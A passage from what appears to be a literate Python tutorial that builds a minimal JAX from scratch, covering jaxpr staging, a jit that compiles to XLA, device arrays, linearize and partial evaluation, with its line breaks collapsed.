for e in jaxpr.eqns]) outs = ', '.join(names[v] if isinstance(v, Var) else str(v.val) for v in jaxpr.outs) return (pp(f'{{ lambda {in_binders} .') + ((pp('let ') >> eqns) + pp(f'in ( {outs} ) }}')).indent(2)) def var_str(names: Dict[Var, str], v: Var) -> str: return f'{names[v]}:{v.aval.str_short()}' def pp_eqn(names: Dict[Var, str], eqn: JaxprEqn) -> PPrint: lhs = pp(' '.join(var_str(names, v) for v in eqn.out_binders)) rhs = (pp(eqn.primitive.name) >> pp_params(eqn.params) >> pp(' '.join(names[x] if isinstance(x, Var) else str(x.val) for x in eqn.inputs))) return lhs >> pp(' = ') >> rhs def pp_params(params: Dict[str, Any]) -> PPrint: items = sorted(params.items()) if items: return pp(' [ ') >> vcat([pp(f'{k}={v}') for k, v in items]) >> pp(' ] ') else: return pp(' ') Jaxpr.__repr__ = lambda self: str(pp_jaxpr(self)) # - jaxpr, consts, _ = make_jaxpr_v1(lambda x: 2. * x, raise_to_shaped(get_aval(3.))) print(jaxpr) print(typecheck_jaxpr(jaxpr)) # But there's a limitation here: because of how `find_top_trace` operates by # data dependence, `make_jaxpr_v1` can't stage out all the primitive operations # performed by the Python callable it's given. For example: jaxpr, consts, _ = make_jaxpr_v1(lambda: mul(2., 2.)) print(jaxpr) # This is precisely the issue that # [omnistaging](https://github.com/google/jax/pull/3370) fixed. # We want to ensure that the `JaxprTrace` started by `make_jaxpr` is always # applied, regardless of whether any inputs to `bind` are boxed in corresponding # `JaxprTracer` instances. We can achieve this by employing the `dynamic_trace` # global defined in Part 1: # + @contextmanager def new_dynamic(main: MainTrace): global dynamic_trace prev_dynamic_trace, dynamic_trace = dynamic_trace, main try: yield finally: dynamic_trace = prev_dynamic_trace @lru_cache() def make_jaxpr(f, *avals_in): avals_in, in_tree = tree_flatten(avals_in) f, out_tree = flatten_fun(f, in_tree) builder = JaxprBuilder() with new_main(JaxprTrace, builder) as main: with new_dynamic(main): trace = JaxprTrace(main) tracers_in = [trace.new_arg(aval) for aval in avals_in] outs = f(*tracers_in) tracers_out = [full_raise(trace, out) for out in outs] jaxpr, consts = builder.build(tracers_in, tracers_out) return jaxpr, consts, out_tree() jaxpr, consts, _ = make_jaxpr(lambda: mul(2., 2.)) print(jaxpr) # - # Using `dynamic_trace` this way is conceptually the same as stashing the # current interpreter stack and starting a new one with the `JaxprTrace` at the # bottom. That is, no interpreters lower in the stack than the `dynamic_trace` # are applied (since `JaxprTrace.process_primitive` doesn't call `bind`), though # if the Python callable being traced to a jaxpr itself uses transformations # then those can be pushed onto the interpreter stack above the `JaxprTrace`. # But temporarily stashing the interpreter stack would break up the system # state. The `dynamic_trace` tag achieves the same goals while keeping the # system state simpler. # That's it for jaxprs! With jaxprs in hand, we can implement the remaining # major JAX features. # ## Part 3: `jit`, simplified # # While `jit` has a transformation-like API in that it accepts a Python callable # as an argument, under the hood it's really a higher-order primitive rather # than a transformation. A primitive is _higher-order_ when it's parameterized # by a function. # ### On-the-fly ("final style") and staged ("initial style") processing # # There are two options for how to handle higher-order primitives. Each requires # a different approach to tracing and engenders different tradeoffs: # 1. **On-the-fly processing, where `bind` takes a Python callable as an # argument.** We defer forming a jaxpr until as late as possible, namely # until we're running the final interpreter at the bottom of the interpreter # stack. That way we can swap a `JaxprTrace` in at the bottom of the # interpreter stack and thus stage out rather than execute all primitive # operations. With this approach, transformations in the stack get applied as # we execute the Python callable as usual. This approach can be very tricky # to implement, but it's as general as possible because it allows # higher-order primitives not to raise the abstraction level of their # arguments and thus allows data-dependent Python control flow. We refer to # this approach as using a "final-style higher-order primitive" employing the # discharge-at-tracing-time "final-style transformations" we've used so far. # 2. **Staged processing, where `bind` takes a jaxpr as an argument.** Before we # call `bind`, in the primitive wrapper we can just use `make_jaxpr` to form # a jaxpr up-front and be done with the Python callable entirely. In this # case, `make_jaxpr` puts its `JaxprTrace` at the top of the interpreter # stack, and no transformations lower in the stack, which might enter via # closed-over Tracers, are applied to the Python callable as we trace it. # (Transformations applied within the Python callable are applied as usual, # being added to the stack above the JaxprTrace.) Instead, the # transformations lower in the stack are later applied to the call primitive, # and the call primitive's rules must then transform the jaxpr itself. # Because we trace to a jaxpr up-front, this approach can't support # data-dependent Python control flow, but it is more straightforward to # implement. We refer to this kind of higher-order primitive as an # "initial-style higher-order primitive", and say that its jaxpr-processing # transformation rules are "initial-style transformation rules." # # The latter approach fits for `jit` because we don't need to support # data-dependent Python control flow in the user-provided Python callable, as # the whole purpose of `jit` is to stage computation out of Python to be # executed by XLA. (In contrast, `custom_jvp` is a higher-order primitive in # which we want to support data-dependent Python control flow.) # # Historically, we started using the "initial-style" and "final-style" # terminology after reading the [typed tagless final # interpreters](http://okmij.org/ftp/tagless-final/index.html) paper, and # jokingly referring to JAX as an implementation of "untyped tagful final # interpreters." We don't claim to carry over (or understand) any deep meaning # behind these terms; we loosely use "initial style" to mean "build an AST and # then transform it", and we use "final style" to mean "transform as we trace." # But it's just imprecise yet sticky jargon. # With the initial-style approach, here's the user-facing `jit` wrapper: # + def jit(f): def f_jitted(*args): avals_in = [raise_to_shaped(get_aval(x)) for x in args] jaxpr, consts, out_tree = make_jaxpr(f, *avals_in) outs = bind(xla_call_p, *consts, *args, jaxpr=jaxpr, num_consts=len(consts)) return tree_unflatten(out_tree, outs) return f_jitted xla_call_p = Primitive('xla_call') # - # With any new primitive, we need to give it transformation rules, starting with # its evaluation rule. When we evaluate an application of the `xla_call` # primitive, we want to stage out out the computation to XLA. That involves # translating the jaxpr to an XLA HLO program, transferring the argument values # to the XLA device, executing the XLA program, and transferring back the # results. We'll cache the XLA HLO compilation so that for each `jit`ted # function it only needs to be performed once per argument shape and dtype # signature. # # First, some utilities. class IDHashable: val: Any def __init__(self, val): self.val = val def __hash__(self) -> int: return id(self.val) def __eq__(self, other): return type(other) is IDHashable and id(self.val) == id(other.val) # Next, we'll define the evaluation rule for `xla_call`: # + from jax.lib import xla_bridge as xb from jax.lib import xla_client as xc xe = xc._xla xops = xc._xla.ops def xla_call_impl(*args, jaxpr: Jaxpr, num_consts: int): consts, args = args[:num_consts], args[num_consts:] hashable_consts = tuple(map(IDHashable, consts)) execute = xla_callable(IDHashable(jaxpr), hashable_consts) return execute(*args) impl_rules[xla_call_p] = xla_call_impl @lru_cache() def xla_callable(hashable_jaxpr: IDHashable, hashable_consts: Tuple[IDHashable]): jaxpr: Jaxpr = hashable_jaxpr.val consts = [x.val for x in hashable_consts] in_avals = [v.aval for v in jaxpr.in_binders[len(consts):]] c = xb.make_computation_builder('xla_call') xla_consts = _xla_consts(c, consts) xla_params = _xla_params(c, in_avals) outs = jaxpr_subcomp(c, jaxpr, xla_consts + xla_params) out = xops.Tuple(c, outs) compiled = xb.get_backend(None).compile(c.build(out)) return partial(execute_compiled, compiled, [v.aval for v in jaxpr.outs]) def _xla_consts(c: xe.XlaBuilder, consts: List[Any]) -> List[xe.XlaOp]: unique_consts = {id(cnst): cnst for cnst in consts} xla_consts = { id_: xops.ConstantLiteral(c, cnst) for id_, cnst in unique_consts.items()} return [xla_consts[id(cnst)] for cnst in consts] def _xla_params(c: xe.XlaBuilder, avals_in: List[ShapedArray]) -> List[xe.XlaOp]: return [xb.parameter(c, i, _xla_shape(a)) for i, a in enumerate(avals_in)] def _xla_shape(aval: ShapedArray) -> xe.Shape: return xc.Shape.array_shape(xc.dtype_to_etype(aval.dtype), aval.shape) # - # The main action is in `xla_callable`, which compiles a jaxpr into an XLA HLO # program using `jaxpr_subcomp`, then returns a callable which executes the # compiled program: # + def jaxpr_subcomp(c: xe.XlaBuilder, jaxpr: Jaxpr, args: List[xe.XlaOp] ) -> xe.XlaOp: env: Dict[Var, xe.XlaOp] = {} def read(x: Atom) -> xe.XlaOp: return env[x] if type(x) is Var else xb.constant(c, x.val) def write(v: Var, val: xe.XlaOp) -> None: env[v] = val map(write, jaxpr.in_binders, args) for eqn in jaxpr.eqns: in_avals = [x.aval for x in eqn.inputs] in_vals = map(read, eqn.inputs) rule = xla_translations[eqn.primitive] out_vals = rule(c, in_avals, in_vals, **eqn.params) map(write, eqn.out_binders, out_vals) return map(read, jaxpr.outs) def execute_compiled(compiled, out_avals, *args): input_bufs = [input_handlers[type(x)](x) for x in args] out_bufs = compiled.execute(input_bufs) return [handle_result(aval, buf) for aval, buf in zip(out_avals, out_bufs)] default_input_handler = xb.get_backend(None).buffer_from_pyval input_handlers = {ty: default_input_handler for ty in [int, float, np.ndarray, np.float64, np.float32]} def handle_result(aval: ShapedArray, buf): del aval # Unused for now. return buf.to_py() xla_translations = {} # - # Notice that `jaxpr_subcomp` has the structure of a simple interpreter. That's # a common pattern: the way we process jaxprs is usually with an interpreter. # And as with any interpreter, we need an interpretation rule for each # primitive: # + def direct_translation(op, c, in_avals, in_vals): del c, in_avals return [op(*in_vals)] xla_translations[add_p] = partial(direct_translation, xops.Add) xla_translations[mul_p] = partial(direct_translation, xops.Mul) xla_translations[neg_p] = partial(direct_translation, xops.Neg) xla_translations[sin_p] = partial(direct_translation, xops.Sin) xla_translations[cos_p] = partial(direct_translation, xops.Cos) xla_translations[greater_p] = partial(direct_translation, xops.Gt) def reduce_sum_translation(c, in_avals, in_vals, *, axis): (x_aval,), (x,) = in_avals, in_vals zero = xops.ConstantLiteral(c, np.array(0, x_aval.dtype)) subc = xb.make_computation_builder('add') shape = _xla_shape(ShapedArray((), x_aval.dtype)) xops.Add(xops.Parameter(subc, 0, shape), xops.Parameter(subc, 1, shape)) return [xops.Reduce(c, [x], [zero], subc.build(), [axis])] xla_translations[reduce_sum_p] = reduce_sum_translation def broadcast_translation(c, in_avals, in_vals, *, shape, axes): x, = in_vals dims_complement = [i for i in range(len(shape)) if i not in axes] return [xops.BroadcastInDim(x, shape, dims_complement)] xla_translations[broadcast_p] = broadcast_translation # - # With that, we can now use `jit` to stage out, compile, and execute programs # with XLA! @jit def f(x, y): print('tracing!') return sin(x) * cos(y) z = f(3., 4.) # 'tracing!' prints the first time print(z) z = f(4., 5.) # 'tracing!' doesn't print, compilation cache hit! print(z) # + @jit def f(x): return reduce_sum(x, axis=0) print(f(np.array([1., 2., 3.]))) # + def f(x): y = sin(x) * 2. z = - y + x return z def deriv(f): return lambda x: jvp(f, (x,), (1.,))[1] print( deriv(deriv(f))(3.)) print(jit(deriv(deriv(f)))(3.)) # - # Instead of implementing `jit` to first trace to a jaxpr and then to lower the # jaxpr to XLA HLO, it might appear that we could have skipped the jaxpr step # and just lowered to HLO while tracing. That is, perhaps we could have instead # implemented `jit` with a `Trace` and `Tracer` that appended to the XLA HLO # graph incrementally on each primitive bind. That's correct for now, but won't # be possible when we introduce compiled SPMD computations because there we must # know the number of replicas needed before compiling the program. # We haven't yet defined any transformation rules for `xla_call_p` other than # its evaluation rule. That is, we can't yet do `vmap`-of-`jit` or # `jvp`-of-`jit` or even `jit`-of`-jit`. Instead `jit` has to be at the "top # level." Let's fix that! # + def xla_call_jvp_rule(primals, tangents, *, jaxpr, num_consts): del num_consts # Unused. new_jaxpr, new_consts = jvp_jaxpr(jaxpr) outs = bind(xla_call_p, *new_consts, *primals, *tangents, jaxpr=new_jaxpr, num_consts=len(new_consts)) n = len(outs) // 2 primals_out, tangents_out = outs[:n], outs[n:] return primals_out, tangents_out jvp_rules[xla_call_p] = xla_call_jvp_rule @lru_cache() def jvp_jaxpr(jaxpr: Jaxpr) -> Tuple[Jaxpr, List[Any]]: def jvp_traceable(*primals_and_tangents): n = len(primals_and_tangents) // 2 primals, tangents = primals_and_tangents[:n], primals_and_tangents[n:] return jvp(jaxpr_as_fun(jaxpr), primals, tangents) in_avals = [v.aval for v in jaxpr.in_binders] new_jaxpr, new_consts, _ = make_jaxpr(jvp_traceable, *in_avals, *in_avals) return new_jaxpr, new_consts # + def xla_call_vmap_rule(axis_size, vals_in, dims_in, *, jaxpr, num_consts): del num_consts # Unused. new_jaxpr, new_consts = vmap_jaxpr(jaxpr, axis_size, tuple(dims_in)) outs = bind(xla_call_p, *new_consts, *vals_in, jaxpr=new_jaxpr, num_consts=len(new_consts)) return outs, [0] * len(outs) vmap_rules[xla_call_p] = xla_call_vmap_rule @lru_cache() def vmap_jaxpr(jaxpr: Jaxpr, axis_size: int, bdims_in: Tuple[BatchAxis, ...] ) -> Tuple[Jaxpr, List[Any]]: vmap_traceable = vmap(jaxpr_as_fun(jaxpr), tuple(bdims_in)) in_avals = [unmapped_aval(axis_size, d, v.aval) for v, d in zip(jaxpr.in_binders, bdims_in)] new_jaxpr, new_consts, _ = make_jaxpr(vmap_traceable, *in_avals) return new_jaxpr, new_consts def unmapped_aval(axis_size: int, batch_dim: BatchAxis, aval: ShapedArray ) -> ShapedArray: if batch_dim is not_mapped: return aval else: shape = list(aval.shape) shape.insert(batch_dim, axis_size) return ShapedArray(tuple(shape), aval.dtype) # + def xla_call_abstract_eval_rule(*in_types, jaxpr, num_consts): del num_consts # Unused. jaxpr_type = typecheck_jaxpr(jaxpr) if not all(t1 == t2 for t1, t2 in zip(jaxpr_type.in_types, in_types)): raise TypeError return jaxpr_type.out_types abstract_eval_rules[xla_call_p] = xla_call_abstract_eval_rule def xla_call_translation(c, in_avals, in_vals, *, jaxpr, num_consts): del num_consts # Only used at top-level. # Calling jaxpr_subcomp directly would inline. We generate a Call HLO instead. subc = xb.make_computation_builder('inner xla_call') xla_params = _xla_params(subc, in_avals) outs = jaxpr_subcomp(subc, jaxpr, xla_params) subc = subc.build(xops.Tuple(subc, outs)) return destructure_tuple(c, xops.Call(c, subc, in_vals)) xla_translations[xla_call_p] = xla_call_translation def destructure_tuple(c, tup): num_elements = len(c.get_shape(tup).tuple_shapes()) return [xops.GetTupleElement(tup, i) for i in range(num_elements)] # + @jit def f(x): print('tracing!') y = sin(x) * 2. z = - y + x return z x, xdot = 3., 1. y, ydot = jvp(f, (x,), (xdot,)) print(y) print(ydot) # - y, ydot = jvp(f, (x,), (xdot,)) # 'tracing!' not printed ys = vmap(f, (0,))(np.arange(3.)) print(ys) # One piece missing is device memory persistence for arrays. That is, we've # defined `handle_result` to transfer results back to CPU memory as NumPy # arrays, but it's often preferable to avoid transferring results just to # transfer them back for the next operation. We can do that by introducing a # `DeviceArray` class, which can wrap XLA buffers and otherwise duck-type # `numpy.ndarray`s: # + def handle_result(aval: ShapedArray, buf): # noqa: F811 return DeviceArray(aval, buf) class DeviceArray: buf: Any aval: ShapedArray def __init__(self, aval, buf): self.aval = aval self.buf = buf dtype = property(lambda self: self.aval.dtype) shape = property(lambda self: self.aval.shape) ndim = property(lambda self: self.aval.ndim) def __array__(self): return self.buf.to_py() def __repr__(self): return repr(self.buf.to_py()) def __str__(self): return str(self.buf.to_py()) _neg = staticmethod(neg) _add = staticmethod(add) _radd = staticmethod(add) _mul = staticmethod(mul) _rmul = staticmethod(mul) _gt = staticmethod(greater) input_handlers[DeviceArray] = lambda x: x.buf jax_types.add(DeviceArray) # + @jit def f(x): y = sin(x) * 2. z = - y + x return z x, xdot = 3., 1. y, ydot = jvp(f, (x,), (xdot,)) print(y) print(ydot) # - # ## Part 4: `linearize` and `vjp` (and `grad`!) # # The `linearize` and `vjp` autodiff functions are built on `jvp`, but involve # jaxprs as well. That's because both involve staging out, or delaying, # computation. # ### `linearize` # # In the case of `linearize`, we want to stage out the linear part of a `jvp` # computation. That is, if we have `jvp : (a -> b) -> (a, T a) -> (b, T b)`, # then we write `linearize : (a -> b) -> a -> (b, T a -o T b)`, using `T a` to # mean "the tangent type of `a`" and using the "lollipop" `-o` rather than the # arrow `->` to indicate a _linear_ function. We define the semantics of # `linearize` in terms of `jvp` too: # ```python # y, f_lin = linearize(f, x) # y_dot = f_lin(x_dot) # ``` # gives the same result for `(y, y_dot)` as # ``` # y, y_dot = jvp(f, (x,), (x_dot,)) # ``` # where the application of `f_lin` does not redo any of the linearization work. # We'll represent the delayed linear part `f_lin : T a -o T b` as a jaxpr. # # To build the `f_lin` jaxpr from a JVP, we need to perform partial evaluation: # we evaluate all the primal values as we trace, but stage the tangent # computations into a jaxpr. This is our second way to build jaxprs. But where # `make_jaxpr` and its underlying `JaxprTrace`/`JaxprTracer` interpreters aim # to stage out every primitive bind, this second approach stages out only those # primitive binds with a data dependence on tangent inputs. # # First, some utilities: # + def split_list(lst: List[Any], n: int) -> Tuple[List[Any], List[Any]]: return lst[:n], lst[n:] def split_half(lst: List[Any]) -> Tuple[List[Any], List[Any]]: assert not len(lst) % 2 return split_list(lst, len(lst) // 2) def partition_list(bs: List[bool], l: List[Any]) -> Tuple[List[Any], List[Any]]: lists = lst1, lst2 = [], [] for b, x in zip(bs, l): lists[b].append(x) return lst1, lst2 # - # Next, we'll write `linearize` by combining `jvp` together with a general # partial evaluation transformation, to be added next: # + def linearize_flat(f, *primals_in): pvals_in = ([PartialVal.known(x) for x in primals_in] + [PartialVal.unknown(vspace(get_aval(x))) for x in primals_in]) def f_jvp(*primals_tangents_in): primals_out, tangents_out = jvp(f, *split_half(primals_tangents_in)) return [*primals_out, *tangents_out] jaxpr, pvals_out, consts = partial_eval_flat(f_jvp, pvals_in) primal_pvals, _ = split_half(pvals_out) assert all(pval.is_known for pval in primal_pvals) primals_out = [pval.const for pval in primal_pvals] f_lin = lambda *tangents: eval_jaxpr(jaxpr, [*consts, *tangents]) return primals_out, f_lin def linearize(f, *primals_in): primals_in_flat, in_tree = tree_flatten(primals_in) f, out_tree = flatten_fun(f, in_tree) primals_out_flat, f_lin_flat = linearize_flat(f, *primals_in_flat) primals_out = tree_unflatten(out_tree(), primals_out_flat) def f_lin(*tangents_in): tangents_in_flat, in_tree2 = tree_flatten(tangents_in) if in_tree != in_tree2: raise TypeError tangents_out_flat = f_lin_flat(*tangents_in_flat) return tree_unflatten(out_tree(), tangents_out_flat) return primals_out, f_lin def vspace(aval: ShapedArray) -> ShapedArray: return raise_to_shaped(aval) # TODO handle integers? # - # Now we turn to the general partial evaluation transformation. The goal is to # accept a Python callable and a list of inputs, some known and some unknown, # and to produce (1) all the outputs which can be computed from the known # inputs, together with (2) a jaxpr representing the part of the Python # callable's computation which can only be performed after the remaining inputs # are known. # # This transformation can't be summarized purely in a type signature because its # behavior relies on the data dependencies inside the given Python callable and # not just its type. Nevertheless a heuristic type signature is useful. If we # assume the input function's type signature is `(a1, a2) -> (b1, b2)`, where # `a1` and `a2` represent the known and unknown inputs, respectively, and where # `b1` only has a data dependency on `a1` while `b2` has some data dependency on # `a2`, then we might write # # ``` # partial_eval : ((a1, a2) -> (b1, b2)) -> a1 -> (b1, res, (res, a2) -> b2) # ``` # # In words, given values for the inputs of type `a1`, `partial_eval` produces # the outputs of type `b1` along with "residual" values of type `res` # representing the intermediates required to complete the computation in the # second stage. It also produces a function of type `(res, a2) -> b2` which # accepts the residual values as well as the remaining inputs and produces the # remaining outputs. # # We like to think of partial evaluation as "unzipping" one computation into # two. For example, consider this jaxpr: # ``` # { lambda a:float64[] . # let b:float64[] = sin a # c:float64[] = neg b # in ( c ) } # ``` # A jaxpr for the JVP would look like: # ``` # { lambda a:float64[] b:float64 . # let c:float64[] = sin a # d:float64[] = cos a # e:float64[] = mul d b # f:float64[] = neg c # g:float64[] = neg e # in ( f, g ) } # ``` # If we imagine applying partial evaluation to this jaxpr with the first input # known and the second unknown, we end up 'unzipping' the JVP jaxpr into primal # and tangent jaxprs: # ``` # { lambda a:float64[] . # let c:float64[] = sin a # d:float64[] = cos a # f:float64[] = neg c # in ( f, d ) } # ``` # ``` # { lambda d:float64[] b:float64[] . # let e:float64[] = mul d b # g:float64[] = neg e # in ( g ) } # ``` # This second jaxpr is represents the linear computation that we want from # `linearize`. # # However, unlike in this jaxpr example, we want the computation on known values # to occur while evaluating the input Python callable. That is, rather than # forming a jaxpr for the entire function `(a1, a2) -> (b1, b2)`, staging all # operations out of Python first before sorting out what can be evaluated now # and what must be delayed, we want only to form a jaxpr for those operations # that _must_ be delayed due to a dependence on unknown inputs. In the context # of automatic differentiation, this is the feature ultimately enables us to # handle functions like `grad(lambda x: x**2 if x > 0 else 0.)`. Python control # flow works because partial evaluation keeps the primal computation in Python. # As a consequence, our `Trace` and `Tracer` subclasses must on the fly sort out # what can be evaluated and what must be staged out into a jaxpr. # # First, we start with a `PartialVal` class, which represents a value that can # be either known or unknown: class PartialVal(NamedTuple): aval: ShapedArray const: Optional[Any] @classmethod def known(cls, val: Any): return PartialVal(get_aval(val), val) @classmethod def unknown(cls, aval: ShapedArray): return PartialVal(aval, None) is_known = property(lambda self: self.const is not None) is_unknown = property(lambda self: self.const is None) # Partial evaluation will take a list of `PartialVal`s representing inputs, and # return a list of `PartialVal` outputs along with a jaxpr representing the # delayed computation: def partial_eval_flat(f, pvals_in: List[PartialVal]): with new_main(PartialEvalTrace) as main: trace = PartialEvalTrace(main) tracers_in = [trace.new_arg(pval) for pval in pvals_in] outs = f(*tracers_in) tracers_out = [full_raise(trace, out) for out in outs] jaxpr, consts = tracers_to_jaxpr(tracers_in, tracers_out) pvals_out = [t.pval for t in tracers_out] return jaxpr, pvals_out, consts # Next we need to implement `PartialEvalTrace` and its `PartialEvalTracer`. This # interpreter will build a jaxpr on the fly while tracking data dependencies. To # do so, it builds a bipartite directed acyclic graph (DAG) between # `PartialEvalTracer` nodes, representing staged-out values, and `JaxprRecipe` # nodes, representing formulas for how to compute some values from others. One # kind of recipe is a `JaxprEqnRecipe`, corresponding to a `JaxprEqn`'s primitive # application, but we also have recipe types for constants and lambda binders: # + from weakref import ref, ReferenceType class LambdaBindingRecipe(NamedTuple): pass class ConstRecipe(NamedTuple): val: Any class JaxprEqnRecipe: prim: Primitive tracers_in: List['PartialEvalTracer'] params: Dict[str, Any] avals_out: List[ShapedArray] tracer_refs_out: List['ReferenceType[PartialEvalTracer]'] def __init__(self, prim, tracers_in, params, avals_out, tracer_refs_out): self.prim = prim self.tracers_in = tracers_in self.params = params self.avals_out = avals_out self.tracer_refs_out = tracer_refs_out JaxprRecipe = Union[LambdaBindingRecipe, ConstRecipe, JaxprEqnRecipe] # - class PartialEvalTracer(Tracer): pval: PartialVal recipe: JaxprRecipe def __init__(self, trace, pval, recipe): self._trace = trace self.pval = pval self.recipe = recipe @property def aval(self): return self.pval.aval def full_lower(self): if self.pval.is_known: return full_lower(self.pval.const) return self # The `PartialEvalTrace` contains the logic for constructing the graph of # `JaxprRecipe`s and `PartialEvalTracer`s. Each argument corresponds to a # `LambdaBindingRecipe` leaf node, and each constant is a `ConstRecipe` leaf # node holding a reference to the constant. All other tracers and recipes come # from `process_primitive`, which forms tracers with `JaxprEqnRecipe`s. # # For most primitives, the `process_primitive` logic is straightforward: if all # inputs are known then we can bind the primitive on the known values # (evaluating it in Python) and avoid forming tracers corresponding to the # output. If instead any input is unknown then we instead stage out into a # `JaxprEqnRecipe` representing the primitive application. To build the tracers # representing unknown outputs, we need avals, which get from the abstract eval # rules. (Notice that tracers reference `JaxprEqnRecipe`s, and `JaxprEqnRecipe`s # reference tracers; we avoid circular garbage by using weakrefs.) # # That `process_primitive` logic applies to most primitives, but `xla_call_p` # requires recursive treatment. So we special-case its rule in a # `partial_eval_rules` dict. # + class PartialEvalTrace(Trace): def new_arg(self, pval: PartialVal) -> Any: return PartialEvalTracer(self, pval, LambdaBindingRecipe()) def lift(self, val: Any) -> PartialEvalTracer: return PartialEvalTracer(self, PartialVal.known(val), None) pure = lift def instantiate_const(self, tracer: PartialEvalTracer) -> PartialEvalTracer: if tracer.pval.is_unknown: return tracer else: pval = PartialVal.unknown(raise_to_shaped(tracer.aval)) return PartialEvalTracer(self, pval, ConstRecipe(tracer.pval.const)) def process_primitive(self, primitive, tracers, params): if all(t.pval.is_known for t in tracers): return bind(primitive, *map(full_lower, tracers), **params) rule = partial_eval_rules.get(primitive) if rule: return rule(self, tracers, **params) tracers_in = [self.instantiate_const(t) for t in tracers] avals_in = [t.aval for t in tracers_in] avals_out = abstract_eval_rules[primitive](*avals_in, **params) tracers_out = [PartialEvalTracer(self, PartialVal.unknown(aval), None) for aval in avals_out] eqn = JaxprEqnRecipe(primitive, tracers_in, params, avals_out, map(ref, tracers_out)) for t in tracers_out: t.recipe = eqn return tracers_out partial_eval_rules = {} # - # Now that we can build graph representations of jaxprs with `PartialEvalTrace`, # we need a mechanism to convert the graph representation to a standard jaxpr. # The jaxpr corresponds to a topological sort of the graph. # + def tracers_to_jaxpr(tracers_in: List[PartialEvalTracer], tracers_out: List[PartialEvalTracer]): tracers_in = [t for t in tracers_in if t.pval.is_unknown] tracers_out = [t for t in tracers_out if t.pval.is_unknown] tracer_to_var = {id(t): Var(raise_to_shaped(t.aval)) for t in tracers_in} constvar_to_val = {} constid_to_var = {} processed_eqns = set() eqns = [] for t in toposort(tracers_out, tracer_parents): if isinstance(t.recipe, LambdaBindingRecipe): assert id(t) in set(map(id, tracers_in)) elif isinstance(t.recipe, ConstRecipe): val = t.recipe.val var = constid_to_var.get(id(val)) if var is None: aval = raise_to_shaped(get_aval(val)) var = tracer_to_var[id(t)] = constid_to_var[id(val)] = Var(aval) constvar_to_val[var] = val elif isinstance(t.recipe, JaxprEqnRecipe): if id(t.recipe) not in processed_eqns: eqns.append(recipe_to_eqn(tracer_to_var, t.recipe)) processed_eqns.add(id(t.recipe)) else: raise TypeError(t.recipe) constvars, constvals = unzip2(constvar_to_val.items()) in_binders = constvars + [tracer_to_var[id(t)] for t in tracers_in] out_vars = [tracer_to_var[id(t)] for t in tracers_out] jaxpr = Jaxpr(in_binders, eqns, out_vars) typecheck_jaxpr(jaxpr) return jaxpr, constvals def recipe_to_eqn(tracer_to_var: Dict[int, Var], recipe: JaxprEqnRecipe ) -> JaxprEqn: inputs = [tracer_to_var[id(t)] for t in recipe.tracers_in] out_binders = [Var(aval) for aval in recipe.avals_out] for t_ref, var in zip(recipe.tracer_refs_out, out_binders): if t_ref() is not None: tracer_to_var[id(t_ref())] = var return JaxprEqn(recipe.prim, inputs, recipe.params, out_binders) def tracer_parents(t: PartialEvalTracer) -> List[PartialEvalTracer]: return t.recipe.tracers_in if isinstance(t.recipe, JaxprEqnRecipe) else [] # + def toposort(out_nodes: List[Any], parents: Callable[[Any], List[Any]]): if not out_nodes: return [] out_nodes = remove_duplicates(out_nodes) child_counts = {} stack = list(out_nodes) while stack: node = stack.pop() if id(node) in child_counts: child_counts[id(node)] += 1 else: child_counts[id(node)] = 1 stack.extend(parents(node)) for node in out_nodes: child_counts[id(node)] -= 1 sorted_nodes = [] childless_nodes = [node for node in out_nodes if not child_counts[id(node)]] while childless_nodes: node = childless_nodes.pop() sorted_nodes.append(node) for parent in parents(node): if child_counts[id(parent)] == 1: childless_nodes.append(parent) else: child_counts[id(parent)] -= 1 sorted_nodes = sorted_nodes[::-1] check_toposort(sorted_nodes, parents) return sorted_nodes def remove_duplicates(lst): seen = set() return [x for x in lst if id(x) not in seen and not seen.add(id(x))] def check_toposort(nodes: List[Any], parents: Callable[[Any], List[Any]]): seen = set() for node in nodes: assert all(id(parent) in seen for parent in parents(node)) seen.add(id(node)) # - # Now we can linearize! y, sin_lin = linearize(sin, 3.) print(y, sin(3.)) print(sin_lin(1.), cos(3.)) # To handle `linearize`-of-`jit`, we still need to write a partial evaluation # rule for `xla_call_p`. Other than tracer bookkeeping, the main task is to # perform partial evaluation of a jaxpr, 'unzipping' it into two jaxprs. # + def xla_call_partial_eval(trace, tracers, *, jaxpr, num_consts): del num_consts # Unused. in_unknowns = [not t.pval.is_known for t in tracers] jaxpr1, jaxpr2, out_unknowns, num_res = partial_eval_jaxpr(jaxpr, in_unknowns) known_tracers, unknown_tracers = partition_list(in_unknowns, tracers) known_vals = [t.pval.const for t in known_tracers] outs1_res = bind(xla_call_p, *known_vals, jaxpr=jaxpr1, num_consts=0) outs1, res = split_list(outs1_res, len(jaxpr1.outs) - num_res) res_tracers = [trace.instantiate_const(full_raise(trace, x)) for x in res] outs2 = [PartialEvalTracer(trace, PartialVal.unknown(v.aval), None) for v in jaxpr2.outs] eqn = JaxprEqnRecipe(xla_call_p, res_tracers + unknown_tracers, dict(jaxpr=jaxpr2, num_consts=0), [v.aval for v in jaxpr2.outs], map(ref, outs2)) for t in outs2: t.recipe = eqn outs1, outs2 = iter(outs1), iter(outs2) return [next(outs2) if uk else next(outs1) for uk in out_unknowns] partial_eval_rules[xla_call_p] = xla_call_partial_eval def partial_eval_jaxpr(jaxpr: Jaxpr, in_unknowns: List[bool] ) -> Tuple[Jaxpr, Jaxpr, List[bool], int]: env: Dict[Var, bool] = {} residuals = set() def read(v: Atom) -> bool: if type(v) is Lit: raise NotImplementedError return env[v] def write(unk: bool, v: Var) -> None: env[v] = unk def new_res(v: Var) -> Var: return residuals.add(v) or v eqns1, eqns2 = [], [] map(write, in_unknowns, jaxpr.in_binders) for eqn in jaxpr.eqns: unks_in = map(read, eqn.inputs) rule = partial_eval_jaxpr_rules.get(eqn.primitive) if rule: eqn1, eqn2, unks_out, res = rule(unks_in, eqn) eqns1.append(eqn1); eqns2.append(eqn2); residuals.update(res) map(write, unks_out, eqn.out_binders) elif any(unks_in): inputs = [v if unk else new_res(v) for unk, v in zip(unks_in, eqn.inputs)] eqns2.append(JaxprEqn(eqn.primitive, inputs, eqn.params, eqn.out_binders)) map(partial(write, True), eqn.out_binders) else: eqns1.append(eqn) map(partial(write, False), eqn.out_binders) out_unknowns = map(read, jaxpr.outs) residuals, num_res = list(residuals), len(residuals) ins1, ins2 = partition_list(in_unknowns, jaxpr.in_binders) outs1, outs2 = partition_list(out_unknowns, jaxpr.outs) jaxpr1 = Jaxpr(ins1, eqns1, outs1 + residuals) jaxpr2 = Jaxpr(residuals + ins2, eqns2, outs2) typecheck_partial_eval_jaxpr(jaxpr, in_unknowns, out_unknowns, jaxpr1, jaxpr2) return jaxpr1, 